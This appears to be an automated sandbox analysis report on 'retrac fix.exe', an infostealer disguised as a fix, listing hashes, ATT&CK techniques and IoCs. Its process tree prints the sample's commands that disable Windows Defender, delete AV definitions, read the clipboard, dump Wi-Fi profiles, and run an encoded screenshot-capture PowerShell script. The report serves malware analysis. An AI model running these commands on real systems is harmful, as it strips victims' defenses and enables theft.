02c8e29f5a2bf821a8a4b8ed73c12138329c1b5814859d7d31be9fba3f7a453f

Resubmissions

01/07/2026, 09:33

260701-lh9wnacz2z10

01/07/2026, 09:32

260701-lh26tacy9110

01/07/2026, 09:27

260701-lezaraaw3k10

Analysis

user interaction
yes
max time kernel
148s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 09:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
retrac fix.exe
Size 10.8MB
Sample260701-lezaraaw3k
SHA256 02c8e29f5a2bf821a8a4b8ed73c12138329c1b5814859d7d31be9fba3f7a453f
MD5 d3273ee6ddbe0f7a8d765b769f44180b
SHA1 4da12efb6424ffad373dd1ea10965b2d747a1dc8
SHA512 1b8cbcd9bf4884a3a947c14b4e6bb77f81d6f9523725dc1bc06731a0ed4d15c76652844aa571ef76dac60744d5c00926c58f5fc380273a092077183cd7e8886f
SSDEEP 196608:wjgLvGgL5IlCHIAoa7Lp8mx4K5dcHs+AtlmDweRrvziLXFT1vLqE7gpC:iWvGG5dtjOm35dcHsxtEDweRiBR0pC
TLSH
T141B6336477C9089AECA2657E9DA1C652F3F274400B22D6DF07685B293F3B9E4093E374
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1264	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2312	powershell.exe
3024	powershell.exe
4976	powershell.exe
5616	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4976	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2364	cmd.exe
6620	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
6208	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe
2720	retrac fix.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	discord.com
1	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
6152	tasklist.exe
7104	tasklist.exe
5344	tasklist.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c67d-35.dat	upx
behavioral2/memory/2720-39-0x00007FF81D1B0000-0x00007FF81D8BD000-memory.dmp	upx
behavioral2/files/0x000c00000001c66a-41.dat	upx
behavioral2/files/0x000c00000001c67a-43.dat	upx
behavioral2/memory/2720-46-0x00007FF8382A0000-0x00007FF8382AF000-memory.dmp	upx
behavioral2/files/0x000c00000001c669-47.dat	upx
behavioral2/memory/2720-44-0x00007FF8382B0000-0x00007FF8382D9000-memory.dmp	upx
behavioral2/files/0x000c00000001c66d-49.dat	upx
behavioral2/memory/2720-53-0x00007FF838250000-0x00007FF83827C000-memory.dmp	upx
behavioral2/files/0x000c00000001c675-52.dat	upx
behavioral2/memory/2720-50-0x00007FF838280000-0x00007FF83829A000-memory.dmp	upx
behavioral2/memory/2720-55-0x00007FF8381D0000-0x00007FF838250000-memory.dmp	upx
behavioral2/files/0x000c00000001c670-56.dat	upx
behavioral2/memory/2720-59-0x00007FF8381C0000-0x00007FF8381CD000-memory.dmp	upx
behavioral2/files/0x000c00000001c674-58.dat	upx
behavioral2/memory/2720-61-0x00007FF8381B0000-0x00007FF8381BF000-memory.dmp	upx
behavioral2/files/0x000c00000001c66c-64.dat	upx
behavioral2/memory/2720-67-0x00007FF838180000-0x00007FF838194000-memory.dmp	upx
behavioral2/files/0x000c00000001c679-66.dat	upx
behavioral2/memory/2720-69-0x00007FF81CC70000-0x00007FF81D1A4000-memory.dmp	upx
behavioral2/files/0x000c00000001c671-70.dat	upx
behavioral2/files/0x000c00000001c673-72.dat	upx
behavioral2/memory/2720-73-0x00007FF81D1B0000-0x00007FF81D8BD000-memory.dmp	upx
behavioral2/memory/2720-74-0x00007FF838160000-0x00007FF83817A000-memory.dmp	upx
behavioral2/memory/2720-78-0x00007FF838120000-0x00007FF838154000-memory.dmp	upx
behavioral2/files/0x000c00000001c67b-79.dat	upx
behavioral2/memory/2720-80-0x00007FF828BC0000-0x00007FF828C8E000-memory.dmp	upx
behavioral2/memory/2720-77-0x00007FF8382B0000-0x00007FF8382D9000-memory.dmp	upx
behavioral2/files/0x000c00000001c672-86.dat	upx
behavioral2/files/0x000c00000001c690-88.dat	upx
behavioral2/memory/2720-89-0x00007FF836110000-0x00007FF836135000-memory.dmp	upx
behavioral2/memory/2720-91-0x00007FF81C880000-0x00007FF81CA0A000-memory.dmp	upx
behavioral2/files/0x000c00000001c680-92.dat	upx
behavioral2/memory/2720-94-0x00007FF838100000-0x00007FF83810D000-memory.dmp	upx
behavioral2/files/0x000c00000001c691-95.dat	upx
behavioral2/memory/2720-97-0x00007FF828AA0000-0x00007FF828B5E000-memory.dmp	upx
behavioral2/memory/2720-131-0x00007FF8381B0000-0x00007FF8381BF000-memory.dmp	upx
behavioral2/memory/2720-205-0x00007FF838180000-0x00007FF838194000-memory.dmp	upx
behavioral2/memory/2720-229-0x00007FF81CC70000-0x00007FF81D1A4000-memory.dmp	upx
behavioral2/memory/2720-285-0x00007FF838120000-0x00007FF838154000-memory.dmp	upx
behavioral2/memory/2720-292-0x00007FF828BC0000-0x00007FF828C8E000-memory.dmp	upx
behavioral2/memory/2720-306-0x00007FF836110000-0x00007FF836135000-memory.dmp	upx
behavioral2/memory/2720-325-0x00007FF81C880000-0x00007FF81CA0A000-memory.dmp	upx
behavioral2/memory/2720-308-0x00007FF81D1B0000-0x00007FF81D8BD000-memory.dmp	upx
behavioral2/memory/2720-329-0x00007FF838280000-0x00007FF83829A000-memory.dmp	upx
behavioral2/memory/2720-334-0x00007FF838180000-0x00007FF838194000-memory.dmp	upx
behavioral2/memory/2720-339-0x00007FF836110000-0x00007FF836135000-memory.dmp	upx
behavioral2/memory/2720-342-0x00007FF828AA0000-0x00007FF828B5E000-memory.dmp	upx
behavioral2/memory/2720-340-0x00007FF81C880000-0x00007FF81CA0A000-memory.dmp	upx
behavioral2/memory/2720-338-0x00007FF828BC0000-0x00007FF828C8E000-memory.dmp	upx
behavioral2/memory/2720-335-0x00007FF81CC70000-0x00007FF81D1A4000-memory.dmp	upx
behavioral2/memory/2720-326-0x00007FF81D1B0000-0x00007FF81D8BD000-memory.dmp	upx
behavioral2/memory/2720-336-0x00007FF838160000-0x00007FF83817A000-memory.dmp	upx
behavioral2/memory/2720-333-0x00007FF8381B0000-0x00007FF8381BF000-memory.dmp	upx
behavioral2/memory/2720-332-0x00007FF8381C0000-0x00007FF8381CD000-memory.dmp	upx
behavioral2/memory/2720-330-0x00007FF838250000-0x00007FF83827C000-memory.dmp	upx
behavioral2/memory/2720-341-0x00007FF838100000-0x00007FF83810D000-memory.dmp	upx
behavioral2/memory/2720-337-0x00007FF838120000-0x00007FF838154000-memory.dmp	upx
behavioral2/memory/2720-331-0x00007FF8381D0000-0x00007FF838250000-memory.dmp	upx
behavioral2/memory/2720-328-0x00007FF8382A0000-0x00007FF8382AF000-memory.dmp	upx
behavioral2/memory/2720-327-0x00007FF8382B0000-0x00007FF8382D9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1384	cmd.exe
3196	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5328	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
248	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4976	powershell.exe
4976	powershell.exe
5616	powershell.exe
5616	powershell.exe
4976	powershell.exe
5616	powershell.exe
2492	WMIC.exe
2492	WMIC.exe
2492	WMIC.exe
2492	WMIC.exe
6620	powershell.exe
6620	powershell.exe
6620	powershell.exe
6484	powershell.exe
6484	powershell.exe
6484	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
6352	powershell.exe
6352	powershell.exe
6352	powershell.exe
1212	WMIC.exe
1212	WMIC.exe
1212	WMIC.exe
1212	WMIC.exe
2488	WMIC.exe
2488	WMIC.exe
2488	WMIC.exe
2488	WMIC.exe
2972	WMIC.exe
2972	WMIC.exe
2972	WMIC.exe
2972	WMIC.exe
3024	powershell.exe
3024	powershell.exe
5328	WMIC.exe
5328	WMIC.exe
5328	WMIC.exe
5328	WMIC.exe
124	powershell.exe
124	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	5616	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	WMIC.exe
Token: SeSecurityPrivilege	2492	WMIC.exe
Token: SeTakeOwnershipPrivilege	2492	WMIC.exe
Token: SeLoadDriverPrivilege	2492	WMIC.exe
Token: SeSystemProfilePrivilege	2492	WMIC.exe
Token: SeSystemtimePrivilege	2492	WMIC.exe
Token: SeProfSingleProcessPrivilege	2492	WMIC.exe
Token: SeIncBasePriorityPrivilege	2492	WMIC.exe
Token: SeCreatePagefilePrivilege	2492	WMIC.exe
Token: SeBackupPrivilege	2492	WMIC.exe
Token: SeRestorePrivilege	2492	WMIC.exe
Token: SeShutdownPrivilege	2492	WMIC.exe
Token: SeDebugPrivilege	2492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2492	WMIC.exe
Token: SeRemoteShutdownPrivilege	2492	WMIC.exe
Token: SeUndockPrivilege	2492	WMIC.exe
Token: SeManageVolumePrivilege	2492	WMIC.exe
Token: 33	2492	WMIC.exe
Token: 34	2492	WMIC.exe
Token: 35	2492	WMIC.exe
Token: 36	2492	WMIC.exe
Token: SeDebugPrivilege	5344	tasklist.exe
Token: SeDebugPrivilege	6152	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2492	WMIC.exe
Token: SeSecurityPrivilege	2492	WMIC.exe
Token: SeTakeOwnershipPrivilege	2492	WMIC.exe
Token: SeLoadDriverPrivilege	2492	WMIC.exe
Token: SeSystemProfilePrivilege	2492	WMIC.exe
Token: SeSystemtimePrivilege	2492	WMIC.exe
Token: SeProfSingleProcessPrivilege	2492	WMIC.exe
Token: SeIncBasePriorityPrivilege	2492	WMIC.exe
Token: SeCreatePagefilePrivilege	2492	WMIC.exe
Token: SeBackupPrivilege	2492	WMIC.exe
Token: SeRestorePrivilege	2492	WMIC.exe
Token: SeShutdownPrivilege	2492	WMIC.exe
Token: SeDebugPrivilege	2492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2492	WMIC.exe
Token: SeRemoteShutdownPrivilege	2492	WMIC.exe
Token: SeUndockPrivilege	2492	WMIC.exe
Token: SeManageVolumePrivilege	2492	WMIC.exe
Token: 33	2492	WMIC.exe
Token: 34	2492	WMIC.exe
Token: 35	2492	WMIC.exe
Token: 36	2492	WMIC.exe
Token: SeDebugPrivilege	6620	powershell.exe
Token: SeDebugPrivilege	7104	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4976	powershell.exe
Token: SeSecurityPrivilege	4976	powershell.exe
Token: SeTakeOwnershipPrivilege	4976	powershell.exe
Token: SeLoadDriverPrivilege	4976	powershell.exe
Token: SeSystemProfilePrivilege	4976	powershell.exe
Token: SeSystemtimePrivilege	4976	powershell.exe
Token: SeProfSingleProcessPrivilege	4976	powershell.exe
Token: SeIncBasePriorityPrivilege	4976	powershell.exe
Token: SeCreatePagefilePrivilege	4976	powershell.exe
Token: SeBackupPrivilege	4976	powershell.exe
Token: SeRestorePrivilege	4976	powershell.exe
Token: SeShutdownPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeSystemEnvironmentPrivilege	4976	powershell.exe
Token: SeRemoteShutdownPrivilege	4976	powershell.exe
Token: SeUndockPrivilege	4976	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 5880 wrote to memory of 2720	5880	retrac fix.exe	89
PID 2720 wrote to memory of 1232	2720	retrac fix.exe	91
PID 2720 wrote to memory of 1856	2720	retrac fix.exe	92
PID 1856 wrote to memory of 4976	1856	cmd.exe	95
PID 1232 wrote to memory of 5616	1232	cmd.exe	96
PID 2720 wrote to memory of 6648	2720	retrac fix.exe	97
PID 2720 wrote to memory of 6028	2720	retrac fix.exe	98
PID 2720 wrote to memory of 5568	2720	retrac fix.exe	101
PID 6648 wrote to memory of 5344	6648	cmd.exe	103
PID 2720 wrote to memory of 2364	2720	retrac fix.exe	104
PID 2720 wrote to memory of 4440	2720	retrac fix.exe	105
PID 6028 wrote to memory of 6152	6028	cmd.exe	106
PID 5568 wrote to memory of 2492	5568	cmd.exe	107
PID 2720 wrote to memory of 4532	2720	retrac fix.exe	109
PID 2364 wrote to memory of 6620	2364	cmd.exe	112
PID 4532 wrote to memory of 1292	4532	cmd.exe	113
PID 4440 wrote to memory of 7104	4440	cmd.exe	114
PID 2720 wrote to memory of 1384	2720	retrac fix.exe	115
PID 2720 wrote to memory of 7132	2720	retrac fix.exe	116
PID 2720 wrote to memory of 1980	2720	retrac fix.exe	119
PID 2720 wrote to memory of 5992	2720	retrac fix.exe	120
PID 1384 wrote to memory of 3196	1384	cmd.exe	123
PID 7132 wrote to memory of 248	7132	cmd.exe	124
PID 5992 wrote to memory of 6484	5992	cmd.exe	125
PID 1980 wrote to memory of 1052	1980	cmd.exe	126
PID 2720 wrote to memory of 5456	2720	retrac fix.exe	128
PID 5456 wrote to memory of 4264	5456	cmd.exe	130
PID 2720 wrote to memory of 5744	2720	retrac fix.exe	131
PID 5744 wrote to memory of 5396	5744	cmd.exe	133
PID 6484 wrote to memory of 4472	6484	powershell.exe	134
PID 2720 wrote to memory of 2184	2720	retrac fix.exe	135
PID 2184 wrote to memory of 4412	2184	cmd.exe	137
PID 2720 wrote to memory of 5508	2720	retrac fix.exe	138
PID 5508 wrote to memory of 5048	5508	cmd.exe	140
PID 4472 wrote to memory of 6804	4472	csc.exe	141
PID 1856 wrote to memory of 1264	1856	cmd.exe	142
PID 2720 wrote to memory of 4872	2720	retrac fix.exe	143
PID 4872 wrote to memory of 2312	4872	cmd.exe	145
PID 2720 wrote to memory of 4272	2720	retrac fix.exe	146
PID 4272 wrote to memory of 6352	4272	cmd.exe	148
PID 2720 wrote to memory of 5224	2720	retrac fix.exe	149
PID 5224 wrote to memory of 2884	5224	cmd.exe	151
PID 2720 wrote to memory of 4312	2720	retrac fix.exe	152
PID 4312 wrote to memory of 6208	4312	cmd.exe	154
PID 2720 wrote to memory of 4700	2720	retrac fix.exe	155
PID 4700 wrote to memory of 1212	4700	cmd.exe	157
PID 2720 wrote to memory of 6196	2720	retrac fix.exe	158
PID 6196 wrote to memory of 2488	6196	cmd.exe	160
PID 2720 wrote to memory of 7024	2720	retrac fix.exe	161
PID 7024 wrote to memory of 2972	7024	cmd.exe	163
PID 2720 wrote to memory of 2504	2720	retrac fix.exe	164
PID 2504 wrote to memory of 3024	2504	cmd.exe	166
PID 2720 wrote to memory of 1844	2720	retrac fix.exe	167
PID 1844 wrote to memory of 5328	1844	cmd.exe	169
PID 2720 wrote to memory of 4496	2720	retrac fix.exe	170
PID 4496 wrote to memory of 124	4496	cmd.exe	172

C:\Users\Admin\AppData\Local\Temp\retrac fix.exe
"C:\Users\Admin\AppData\Local\Temp\retrac fix.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5880
- C:\Users\Admin\AppData\Local\Temp\retrac fix.exe
  "C:\Users\Admin\AppData\Local\Temp\retrac fix.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\retrac fix.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\retrac fix.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4976
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6028
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5568
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:7104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1384
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:7132
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
